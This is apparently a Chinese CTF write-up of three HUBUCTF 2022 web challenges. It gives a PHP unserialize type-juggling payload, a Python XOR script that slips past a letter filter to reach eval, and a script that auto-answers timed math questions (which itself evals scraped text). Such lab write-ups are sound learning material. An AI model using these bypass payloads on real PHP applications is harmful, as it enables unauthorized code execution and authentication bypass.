[HUBUCTF 2022 新生赛]
checkin
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
先对代码进行审计,发现isset( )是我们没见过的用法,可以去了解一下。
isset() 函数用于检测变量是否已设置并且非 NULL。
以上是基本用途,而本题中用到的是php的三元运算符
$id
= isset(
$_GET
[
'id'
]) ?
$_GET
[
'id'
] :
''
;
(条件) ? (值1):(值2);解释:如果条件成立(为真),则执行冒号前边的“值1”,否则执行冒号后面的“值2”。
isset()函数是检测变量是否设置,$_GET['id']是通过get方法传过来的值。
这句话的意思就是:如果$_GET['id']已经被设置,即已经有值了,则$id=$_GET['id'];
如果$_GET['id']没有被设置,则$id = '';
继续向下看,发现unserialize,
就可以知道和反序列化有关了。
exp:
<?php
$info = array(
'username'=>true,
'password'=>true
);
$serialized_data = serialize($info);
echo $serialized_data . PHP_EOL;
?>
得到payload
?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}
这里卡在exp怎么写,后来详细了解了一下序列化和反序列化以后,再结合上面的isset( ),知道了username和password要用boolen类型,才写了出来。
HowToGetShell
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
这道题一眼可以看到preg_match( )
函数 ,对于/a-zA-Z/这个正则表达式,我们可以利用PHP动态函数的特性,构造出字符串。
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
answer = "phpinfo"
tmp1,tmp2 = '',''
for c in answer:
for i in valid:
for j in valid:
if (ord(i)^ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
payload
mess=$_="0302181"^"@[@[_^^";$_();
参考链接
Calculate
题目是想让我们做数学题,而且要速度介于1-3s之间,回答20个问题即可给出flag。但是我对这道题目无从下手,exp也不会写就去找了大佬的
# -*- coding: utf-8 -*-
import time
import requests
import re
url = 'http://1.14.71.254:28110/'
ses = requests.session()
reg = re.compile(">(.)</div")
while True:
get = ses.get(url)
math = reg.findall(get.text)
final = ''.join(math)[:-1]
result = str(eval(final))
print(result)
time.sleep(1)
post = ses.post(url=url, data={"ans": result})
if 'NSS' in post.text:
print(post.text)
break
time.sleep(1)
最后也是得到了flag。